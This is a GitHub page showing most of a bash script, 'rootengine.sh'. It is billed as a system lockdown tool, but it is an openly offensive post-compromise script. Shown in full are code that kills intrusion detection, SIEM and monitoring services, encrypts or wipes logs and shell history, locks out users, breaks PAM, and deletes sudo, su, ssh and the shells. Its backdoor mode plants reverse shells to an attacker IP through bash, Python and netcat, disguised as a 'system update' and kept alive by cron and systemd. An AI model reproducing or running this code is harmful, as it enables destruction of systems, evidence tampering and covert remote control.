-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrootengine.sh
More file actions
1498 lines (1232 loc) · 49.3 KB
/
rootengine.sh
File metadata and controls
1498 lines (1232 loc) · 49.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
# rootengine.sh - Enhanced system lockdown with security tool neutralization
# Compatible with: Ubuntu, Debian, Fedora, Linux Mint, Arch Linux, Manjaro, openSUSE, Pop!_OS, Kali Linux, AlmaLinux and other Debian based OS
# Developer: @rafosw
# Version: 1.0
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
WHITE='\033[1;37m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
NC='\033[0m'
show_help() {
echo -e "${RED}"
cat << "EOF"
██████╗ ██████╗ ██████╗ ████████╗███████╗███╗ ██╗ ██████╗ ██╗███╗ ██╗███████╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝██╔════╝████╗ ██║██╔════╝ ██║████╗ ██║██╔════╝
██████╔╝██║ ██║██║ ██║ ██║ █████╗ ██╔██╗ ██║██║ ███╗██║██╔██╗ ██║█████╗
██╔══██╗██║ ██║██║ ██║ ██║ ██╔══╝ ██║╚██╗██║██║ ██║██║██║╚██╗██║██╔══╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ███████╗██║ ╚████║╚██████╔╝██║██║ ╚████║███████╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝ ╚═══╝╚══════╝ v1.0
EOF
echo -e "${NC}"
echo -e "${CYAN}Author: @rafosw${NC}"
echo ""
cat << 'HELP_EOF'
ROOTENGINE - System Lockdown Tool
USAGE:
sudo ./rootengine.sh
OPTIONS:
--help, -h Show this help message
(no option) Interactive menu mode
MODES:
1. Aggressive - Maximum lockdown
2. Backdoor - Lockdown + reverse shell access
FEATURES:
- Disables IDS/IPS
- Blocks SIEM
- Stops monitoring
- Encrypts/deletes all logs
- Blocks admin access (SSH, FTP, console)
- Preserves web services (HTTP/HTTPS)
- Multiple backdoor persistence methods
WARNING:
Irreversible modifications! Test environments only.
Always take system snapshots before running.
HELP_EOF
}
if [ "$1" == "--help" ] || [ "$1" == "-h" ]; then
show_help
exit 0
fi
echo -e "${RED}"
cat << "EOF"
██████╗ ██████╗ ██████╗ ████████╗███████╗███╗ ██╗ ██████╗ ██╗███╗ ██╗███████╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝██╔════╝████╗ ██║██╔════╝ ██║████╗ ██║██╔════╝
██████╔╝██║ ██║██║ ██║ ██║ █████╗ ██╔██╗ ██║██║ ███╗██║██╔██╗ ██║█████╗
██╔══██╗██║ ██║██║ ██║ ██║ ██╔══╝ ██║╚██╗██║██║ ██║██║██║╚██╗██║██╔══╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ███████╗██║ ╚████║╚██████╔╝██║██║ ╚████║███████╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝ ╚═══╝╚══════╝ v1.0
EOF
echo -e "${NC}"
if [ "$EUID" -ne 0 ]; then
echo -e "${RED}ERROR: This script must be run as root${NC}"
echo -e "${YELLOW}Usage: sudo $0${NC}"
exit 1
fi
BACKDOOR_MODE=0
BACKDOOR_IP=""
BACKDOOR_PORT=""
HIDDEN_DIRS=(
"/.cache/.system"
"/var/tmp/.x11"
"/dev/shm/.config"
)
INIT_SYSTEM=""
show_menu() {
clear
echo -e "${RED}"
cat << "EOF"
██████╗ ██████╗ ██████╗ ████████╗███████╗███╗ ██╗ ██████╗ ██╗███╗ ██╗███████╗
██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝██╔════╝████╗ ██║██╔════╝ ██║████╗ ██║██╔════╝
██████╔╝██║ ██║██║ ██║ ██║ █████╗ ██╔██╗ ██║██║ ███╗██║██╔██╗ ██║█████╗
██╔══██╗██║ ██║██║ ██║ ██║ ██╔══╝ ██║╚██╗██║██║ ██║██║██║╚██╗██║██╔══╝
██║ ██║╚██████╔╝╚██████╔╝ ██║ ███████╗██║ ╚████║╚██████╔╝██║██║ ╚████║███████╗
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝╚═╝ ╚═══╝╚══════╝ v1.0
EOF
echo -e "${NC}"
echo -e "${GREEN}Select execution mode:${NC}"
echo ""
echo -e "${YELLOW}1)${NC} Aggressive Mode - Maximum Lockdown"
echo -e "${YELLOW}2)${NC} Backdoor Mode - Attacker Access Preserved"
echo ""
echo -n -e "${GREEN}Enter your choice (1 or 2): ${NC}"
read -r choice
case $choice in
1)
BACKDOOR_MODE=0
echo -e "${GREEN}Mode selected: Aggressive (Maximum Lockdown)${NC}"
sleep 1
;;
2)
BACKDOOR_MODE=1
echo -e "${GREEN}Mode selected: Backdoor Mode${NC}"
sleep 1
echo ""
echo -n -e "${GREEN}Enter attacker IP address: ${NC}"
read -r BACKDOOR_IP
echo -n -e "${GREEN}Enter attacker port: ${NC}"
read -r BACKDOOR_PORT
echo -e "${GREEN}Backdoor configured: $BACKDOOR_IP:$BACKDOOR_PORT${NC}"
sleep 1
;;
*)
echo -e "${RED}Invalid choice!${NC}"
sleep 1
show_menu
;;
esac
}
show_progress() {
local pid=$1
local message=$2
local spin='-\|/'
local i=0
echo -n -e "${YELLOW}$message ${NC}"
while kill -0 "$pid" 2>/dev/null; do
i=$(( (i+1) %4 ))
printf "${BLUE}%s${NC}" "${spin:$i:1}"
printf "\b"
sleep 0.1
done
wait "$pid" 2>/dev/null
printf "\r%-80s\r" " "
echo -e "${GREEN}$message [DONE]${NC}"
}
command_exists() {
command -v "$1" >/dev/null 2>&1
}
detect_init_system() {
if [ -n "$INIT_SYSTEM" ]; then
echo "$INIT_SYSTEM"
return
fi
if [ -d /run/systemd/system ] || [ -d /etc/systemd ]; then
INIT_SYSTEM="systemd"
elif command_exists initctl; then
INIT_SYSTEM="upstart"
else
INIT_SYSTEM="sysvinit"
fi
echo "$INIT_SYSTEM"
}
service_command() {
local action=$1
local service=$2
local init_system=$(detect_init_system)
case $init_system in
"systemd")
if [ -f "/etc/systemd/system/${service}.service" ] || [ -f "/usr/lib/systemd/system/${service}.service" ] || [ -f "/lib/systemd/system/${service}.service" ]; then
systemctl "$action" "$service" 2>/dev/null
fi
;;
"upstart")
if [ -f "/etc/init/${service}.conf" ]; then
initctl "$action" "$service" 2>/dev/null
fi
;;
"sysvinit")
if [ -f "/etc/init.d/${service}" ]; then
/etc/init.d/"$service" "$action" 2>/dev/null
fi
;;
esac
}
neutralize_ids_ips() {
echo -e "${GREEN}Neutralizing IDS/IPS systems...${NC}"
for service in snort snortd; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "snort" 2>/dev/null
for service in suricata; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "suricata" 2>/dev/null
for service in zeek bro; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "zeek\|bro" 2>/dev/null
for service in fail2ban; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "fail2ban" 2>/dev/null
for service in tripwire; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "tripwire" 2>/dev/null
for service in aide; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "aide" 2>/dev/null
for service in samhain; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "samhain" 2>/dev/null
echo -e "${GREEN}IDS/IPS neutralization complete [DONE]${NC}"
}
neutralize_siem_soar() {
echo -e "${GREEN}Neutralizing SIEM/SOAR platforms...${NC}"
for service in splunk splunkd; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "splunk" 2>/dev/null
for service in elasticsearch logstash kibana filebeat metricbeat auditbeat; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "elastic\|logstash\|kibana\|beat" 2>/dev/null
for service in qradar; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "qradar" 2>/dev/null
for service in arcsight; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "arcsight" 2>/dev/null
for service in logrhythm; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "logrhythm" 2>/dev/null
for service in thehive cortex; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "thehive\|cortex" 2>/dev/null
for service in graylog; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "graylog" 2>/dev/null
for service in securityonion; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "securityonion" 2>/dev/null
for service in ossim; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "ossim\|alienvault" 2>/dev/null
echo -e "${GREEN}SIEM/SOAR neutralization complete [DONE]${NC}"
}
neutralize_monitoring() {
echo -e "${GREEN}Neutralizing monitoring tools...${NC}"
for service in nagios nrpe; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "nagios\|nrpe" 2>/dev/null
for service in zabbix-agent zabbix-server; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "zabbix" 2>/dev/null
for service in prometheus node_exporter; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "prometheus\|node_exporter" 2>/dev/null
for service in grafana grafana-server; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "grafana" 2>/dev/null
for service in datadog-agent; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "datadog" 2>/dev/null
for service in newrelic-infra; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "newrelic" 2>/dev/null
echo -e "${GREEN}Monitoring neutralization complete [DONE]${NC}"
}
manage_logs() {
echo -e "${GREEN}Managing system logs...${NC}"
for service in rsyslog syslog-ng syslog systemd-journald auditd; do
service_command stop $service 2>/dev/null
service_command disable $service 2>/dev/null
done
pkill -9 -f "rsyslog\|syslog\|journald\|auditd" 2>/dev/null
if command_exists openssl; then
echo -e "${YELLOW}Encrypting logs with openssl...${NC}"
RANDOM_KEY=$(head -c 32 /dev/urandom 2>/dev/null | base64 | head -c 32)
if [ -z "$RANDOM_KEY" ]; then
RANDOM_KEY=$(echo "$(date +%s)$RANDOM$$" | sha256sum | base64 | head -c 32)
fi
for logdir in /var/log /var/log/audit /var/log/messages /var/log/secure /var/log/auth.log; do
if [ -d "$logdir" ]; then
for logfile in $(find "$logdir" -type f 2>/dev/null); do
if [ -f "$logfile" ] && [ -w "$logfile" ]; then
if openssl enc -aes-256-cbc -salt -in "$logfile" -out "${logfile}.enc" -k "$RANDOM_KEY" 2>/dev/null; then
rm -f "$logfile" 2>/dev/null
else
rm -f "$logfile" 2>/dev/null
fi
fi
done
elif [ -f "$logdir" ] && [ -w "$logdir" ]; then
if openssl enc -aes-256-cbc -salt -in "$logdir" -out "${logdir}.enc" -k "$RANDOM_KEY" 2>/dev/null; then
rm -f "$logdir" 2>/dev/null
else
rm -f "$logdir" 2>/dev/null
fi
fi
done
else
echo -e "${YELLOW}OpenSSL not available, deleting logs directly...${NC}"
for logdir in /var/log /var/log/audit; do
if [ -d "$logdir" ]; then
rm -rf "$logdir"/* 2>/dev/null
fi
done
fi
if command_exists journalctl; then
journalctl --vacuum-time=1s 2>/dev/null
journalctl --rotate 2>/dev/null
journalctl --vacuum-time=1s 2>/dev/null
fi
if [ -f /var/log/audit/audit.log ]; then
cat /dev/null > /var/log/audit/audit.log 2>/dev/null
fi
for file in /var/log/wtmp /var/log/btmp /var/log/lastlog; do
if [ -f "$file" ]; then
cat /dev/null > "$file" 2>/dev/null
fi
done
for histfile in /root/.bash_history /root/.zsh_history /home/*/.bash_history /home/*/.zsh_history; do
if [ -f "$histfile" ]; then
cat /dev/null > "$histfile" 2>/dev/null
fi
done
unset HISTFILE
unset HISTSIZE
export HISTSIZE=0
echo -e "${GREEN}Log management complete [DONE]${NC}"
}
setup_enhanced_backdoor() {
if [ $BACKDOOR_MODE -eq 0 ]; then
return
fi
echo -e "${GREEN}Setting up enhanced backdoor persistence...${NC}"
cat > /tmp/.system_update << EOF
#!/bin/bash
while true; do
# Try Bash TCP (detached)
if command -v bash >/dev/null 2>&1; then
bash -c "bash -i >& /dev/tcp/$BACKDOOR_IP/$BACKDOOR_PORT 0>&1" 2>/dev/null
fi
# Try Python
if command -v python >/dev/null 2>&1; then
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$BACKDOOR_IP",$BACKDOOR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 2>/dev/null
elif command -v python3 >/dev/null 2>&1; then
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$BACKDOOR_IP",$BACKDOOR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 2>/dev/null
fi
# Try Netcat
if command -v nc >/dev/null 2>&1; then
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $BACKDOOR_IP $BACKDOOR_PORT >/tmp/f
fi
sleep 10
done
EOF
chmod +x /tmp/.system_update
cp /tmp/.system_update /dev/shm/.system_update 2>/dev/null
cp /tmp/.system_update /var/tmp/.system_update 2>/dev/null
chmod +x /dev/shm/.system_update 2>/dev/null
chmod +x /var/tmp/.system_update 2>/dev/null
if command -v setsid >/dev/null 2>&1; then
setsid /tmp/.system_update >/dev/null 2>&1 &
else
nohup /tmp/.system_update >/dev/null 2>&1 &
fi
for dir in "${HIDDEN_DIRS[@]}"; do
mkdir -p "$dir" 2>/dev/null
chmod 700 "$dir" 2>/dev/null
cp /tmp/.system_update "$dir/update.sh" 2>/dev/null
chmod +x "$dir/update.sh" 2>/dev/null
if command -v setsid >/dev/null 2>&1; then
setsid "$dir/update.sh" >/dev/null 2>&1 &
else
nohup "$dir/update.sh" >/dev/null 2>&1 &
fi
if ! crontab -l 2>/dev/null | grep -q "$dir/update.sh"; then
(crontab -l 2>/dev/null; echo "* * * * * $dir/update.sh >/dev/null 2>&1") | crontab - 2>/dev/null
(crontab -l 2>/dev/null; echo "@reboot $dir/update.sh >/dev/null 2>&1") | crontab - 2>/dev/null
fi
if [ -d /etc/systemd/system ]; then
service_name="system-$(echo $dir | tr '/' '-' | sed 's/^-//')"
cat > "/etc/systemd/system/${service_name}.service" << SERVICE_EOF
[Unit]
Description=System Update Service
After=network.target
[Service]
ExecStart=$dir/update.sh
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
SERVICE_EOF
systemctl daemon-reload >/dev/null 2>&1
systemctl enable "${service_name}.service" >/dev/null 2>&1
systemctl start "${service_name}.service" >/dev/null 2>&1
fi
done
echo -e "${GREEN}Backdoor persistence established [DONE]${NC}"
}
apply_kernel_restrictions() {
if [ $BACKDOOR_MODE -eq 1 ]; then
echo -e "${YELLOW}Skipping kernel restrictions (Backdoor mode)${NC}"
return
fi
echo -e "${GREEN}Applying kernel-level restrictions...${NC}"
if [ -f /proc/sys/kernel/sysrq ]; then
echo 0 > /proc/sys/kernel/sysrq 2>/dev/null
fi
if [ -f /proc/sys/kernel/pty/max ]; then
echo 64 > /proc/sys/kernel/pty/max 2>/dev/null
fi
if [ -f /proc/sys/kernel/core_pattern ]; then
echo "|/bin/false" > /proc/sys/kernel/core_pattern 2>/dev/null
fi
if [ -f /proc/sys/kernel/dmesg_restrict ]; then
echo 1 > /proc/sys/kernel/dmesg_restrict 2>/dev/null
fi
if [ -f /proc/sys/kernel/kptr_restrict ]; then
echo 2 > /proc/sys/kernel/kptr_restrict 2>/dev/null
fi
if [ -f /proc/sys/net/core/bpf_jit_harden ]; then
echo 2 > /proc/sys/net/core/bpf_jit_harden 2>/dev/null
fi
if [ -f /proc/sys/fs/suid_dumpable ]; then
echo 0 > /proc/sys/fs/suid_dumpable 2>/dev/null
fi
echo -e "${GREEN}Kernel restrictions applied [DONE]${NC}"
}
apply_resource_restrictions() {
if [ $BACKDOOR_MODE -eq 1 ]; then
echo -e "${YELLOW}Skipping resource restrictions (Backdoor mode)${NC}"
return
fi
echo -e "${GREEN}Applying resource restrictions...${NC}"
if [ -d /sys/fs/cgroup ]; then
if [ -d /sys/fs/cgroup/cpu ]; then
mkdir -p /sys/fs/cgroup/cpu/restricted 2>/dev/null
echo 10000 > /sys/fs/cgroup/cpu/restricted/cpu.cfs_quota_us 2>/dev/null
fi
if [ -d /sys/fs/cgroup/memory ]; then
mkdir -p /sys/fs/cgroup/memory/restricted 2>/dev/null
echo 52428800 > /sys/fs/cgroup/memory/restricted/memory.limit_in_bytes 2>/dev/null
fi
fi
echo -e "${GREEN}Resource restrictions applied [DONE]${NC}"
}
isolate_users() {
if [ $BACKDOOR_MODE -eq 1 ]; then
echo -e "${YELLOW}Skipping user isolation (Backdoor mode)${NC}"
return
fi
echo -e "${GREEN}Isolating user accounts...${NC}"
for user in $(awk -F: '$3 >= 1000 && $3 < 65534 {print $1}' /etc/passwd 2>/dev/null); do
if [ "$user" != "www-data" ] && [ "$user" != "nginx" ] && [ "$user" != "apache" ] && [ "$user" != "httpd" ] && [ "$user" != "lighttpd" ] && [ "$user" != "php-fpm" ]; then
usermod -L "$user" 2>/dev/null
usermod -s /sbin/nologin "$user" 2>/dev/null
fi
done
usermod -s /bin/false root 2>/dev/null
echo -e "${GREEN}User accounts isolated (web users protected) [DONE]${NC}"
}
destroy_terminals() {
if [ $BACKDOOR_MODE -eq 1 ]; then
echo -e "${YELLOW}Skipping TTY destruction (Backdoor mode)${NC}"
return
fi
echo -e "${GREEN}Destroying terminal devices...${NC}"
for tty in /dev/tty*; do
if [ -c "$tty" ]; then
chmod 000 "$tty" 2>/dev/null
fi
done
chmod 000 /dev/ptmx 2>/dev/null
chmod 000 /dev/console 2>/dev/null
umount /dev/pts 2>/dev/null
echo -e "${GREEN}Terminal devices destroyed [DONE]${NC}"
}
sabotage_system_binaries() {
if [ $BACKDOOR_MODE -eq 1 ]; then
echo -e "${YELLOW}Skipping binary sabotage (Backdoor mode)${NC}"
return
fi
echo -e "${GREEN}Sabotaging system binaries (protecting web servers)...${NC}"
for cmd in sudo su; do
for path in /usr/bin/$cmd /bin/$cmd /usr/sbin/$cmd /sbin/$cmd; do
rm -f "$path" 2>/dev/null
done
done
for cmd in nc netcat telnet ssh scp sftp; do
for path in /usr/bin/$cmd /bin/$cmd /usr/sbin/$cmd /sbin/$cmd; do
rm -f "$path" 2>/dev/null
done
done
for cmd in init telinit; do
for path in /usr/bin/$cmd /bin/$cmd /usr/sbin/$cmd /sbin/$cmd; do
rm -f "$path" 2>/dev/null
done
done
cat > /tmp/.sabotage_shells.sh << 'SHELL_SABOTAGE'
#!/bin/sh
sleep 10
for shell in bash sh dash zsh; do
for path in /bin/$shell /usr/bin/$shell; do
if [ -f "$path" ] && [ -x "$path" ]; then
mv "$path" "${path}.disabled" 2>/dev/null
echo '#!/bin/false' > "$path" 2>/dev/null
chmod 000 "$path" 2>/dev/null
fi
done
done
rm -f /tmp/.sabotage_shells.sh
SHELL_SABOTAGE
chmod +x /tmp/.sabotage_shells.sh
nohup /tmp/.sabotage_shells.sh >/dev/null 2>&1 &
echo -e "${GREEN}Waiting for main script to complete before shell sabotage...${NC}"
sleep 12
echo -e "${GREEN}System binaries sabotaged (web servers protected) [DONE]${NC}"
}
destroy_pam() {
if [ $BACKDOOR_MODE -eq 1 ]; then
echo -e "${YELLOW}Skipping PAM destruction (Backdoor mode)${NC}"
return
fi
echo -e "${GREEN}Destroying PAM authentication...${NC}"
if [ -d /etc/pam.d ]; then
for pam_file in /etc/pam.d/*; do
if [ -f "$pam_file" ] && [ -w "$pam_file" ]; then
cat > "$pam_file" << 'PAM_DENY'
auth required pam_deny.so
account required pam_deny.so
password required pam_deny.so
session required pam_deny.so
PAM_DENY
fi
done
fi
if [ -f /etc/nsswitch.conf ] && [ -w /etc/nsswitch.conf ]; then
echo "passwd: files" > /etc/nsswitch.conf
echo "shadow: files" >> /etc/nsswitch.conf
echo "group: files" >> /etc/nsswitch.conf
fi
if [ -f /etc/security/access.conf ] && [ -w /etc/security/access.conf ]; then
echo "- : ALL : ALL" > /etc/security/access.conf
fi
echo -e "${GREEN}PAM authentication destroyed [DONE]${NC}"
}
restrict_filesystem() {
if [ $BACKDOOR_MODE -eq 1 ]; then
echo -e "${YELLOW}Skipping filesystem restrictions (Backdoor mode)${NC}"
return
fi
echo -e "${GREEN}Applying filesystem restrictions (protecting web roots)...${NC}"
mount -o remount,size=10M,nosuid,nodev /tmp 2>/dev/null
rm -rf /root/.bash* 2>/dev/null
rm -rf /root/.ssh 2>/dev/null
mkdir -p /tmp/.inode_fill 2>/dev/null
for i in $(seq 1 1000); do
touch "/tmp/.inode_fill/$i" 2>/dev/null || break
done
echo -e "${GREEN}Filesystem restrictions applied (web roots safe) [DONE]${NC}"
}
protect_web_services() {
echo -e "${GREEN}Setting up MAXIMUM web service protection...${NC}"
for service in apache2 httpd nginx lighttpd php-fpm node npm pm2 gunicorn uwsgi python python3 flask django puma unicorn passenger rails tomcat tomcat8 tomcat9 jetty wildfly jboss dotnet kestrel varnish haproxy caddy traefik envoy; do
if pgrep "$service" > /dev/null 2>&1; then
for pid in $(pgrep "$service" 2>/dev/null); do
renice -20 -p "$pid" 2>/dev/null
if command_exists ionice; then
ionice -c1 -n0 -p "$pid" 2>/dev/null
fi
if command_exists chrt; then
chrt -f -p 99 "$pid" 2>/dev/null
fi
if [ -f "/proc/$pid/oom_score_adj" ]; then
echo -1000 > "/proc/$pid/oom_score_adj" 2>/dev/null
fi
if [ -f "/proc/$pid/freeze" ]; then
echo 0 > "/proc/$pid/freeze" 2>/dev/null
fi
done
echo -e "${GREEN}Protected: $service (PID: $(pgrep "$service" | head -1))${NC}"
fi
done
cat > /tmp/web_watchdog.sh << 'WATCHDOG_SCRIPT'
#!/bin/sh
while true; do
for service in apache2 httpd nginx lighttpd php-fpm node pm2 gunicorn uwsgi puma unicorn tomcat tomcat8 tomcat9 jetty varnish haproxy caddy; do
if ! pgrep "$service" >/dev/null 2>&1; then
systemctl start "$service" 2>/dev/null || \
service "$service" start 2>/dev/null || \
/etc/init.d/"$service" start 2>/dev/null
sleep 2
for pid in $(pgrep "$service" 2>/dev/null); do
renice -20 -p "$pid" 2>/dev/null
if command -v ionice >/dev/null 2>&1; then
ionice -c1 -n0 -p "$pid" 2>/dev/null
fi
if command -v chrt >/dev/null 2>&1; then
chrt -f -p 99 "$pid" 2>/dev/null
fi
if [ -f "/proc/$pid/oom_score_adj" ]; then
echo -1000 > "/proc/$pid/oom_score_adj" 2>/dev/null
fi
done
fi
done
if [ -f /proc/net/tcp ]; then
if ! grep -q "0050\\|01BB\\|0BB8\\|1F90" /proc/net/tcp 2>/dev/null; then
for service in apache2 httpd nginx lighttpd node pm2 gunicorn uwsgi puma tomcat; do
systemctl restart "$service" 2>/dev/null
done
fi
fi
sleep 5 # Check every 5 seconds (aggressive)
done
WATCHDOG_SCRIPT
chmod +x /tmp/web_watchdog.sh
nohup /tmp/web_watchdog.sh >/dev/null 2>&1 &
if [ -d /etc/systemd/system ]; then
cat > /etc/systemd/system/web-watchdog.service << 'WATCHDOG_SERVICE'
[Unit]
Description=Web Service Watchdog
After=network.target
[Service]
Type=simple
ExecStart=/tmp/web_watchdog.sh
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
WATCHDOG_SERVICE
systemctl daemon-reload 2>/dev/null
systemctl enable web-watchdog.service 2>/dev/null
systemctl start web-watchdog.service 2>/dev/null
fi
echo -e "${GREEN}Web service protection enabled [DONE]${NC}"
}
setup_firewall() {
echo -e "${YELLOW}Configuring firewall...${NC}"
if [ -x /sbin/iptables ] || [ -x /usr/sbin/iptables ]; then
IPTABLES_CMD=$(command -v iptables)
$IPTABLES_CMD -F 2>/dev/null
$IPTABLES_CMD -X 2>/dev/null
$IPTABLES_CMD -P INPUT DROP 2>/dev/null
$IPTABLES_CMD -P FORWARD DROP 2>/dev/null
$IPTABLES_CMD -P OUTPUT ACCEPT 2>/dev/null
$IPTABLES_CMD -A INPUT -p tcp --dport 80 -j ACCEPT 2>/dev/null
$IPTABLES_CMD -A INPUT -p tcp --dport 443 -j ACCEPT 2>/dev/null
$IPTABLES_CMD -A INPUT -p tcp --dport 8080 -j ACCEPT 2>/dev/null
$IPTABLES_CMD -A INPUT -p tcp --dport 8443 -j ACCEPT 2>/dev/null
$IPTABLES_CMD -A INPUT -p tcp --dport 3000 -j ACCEPT 2>/dev/null
$IPTABLES_CMD -A INPUT -p tcp --dport 5000 -j ACCEPT 2>/dev/null
$IPTABLES_CMD -A INPUT -p tcp --dport 8000 -j ACCEPT 2>/dev/null
if [ $BACKDOOR_MODE -eq 1 ] && [ -n "$BACKDOOR_PORT" ]; then
$IPTABLES_CMD -A INPUT -p tcp --dport "$BACKDOOR_PORT" -j ACCEPT 2>/dev/null
$IPTABLES_CMD -A OUTPUT -p tcp --dport "$BACKDOOR_PORT" -j ACCEPT 2>/dev/null
fi
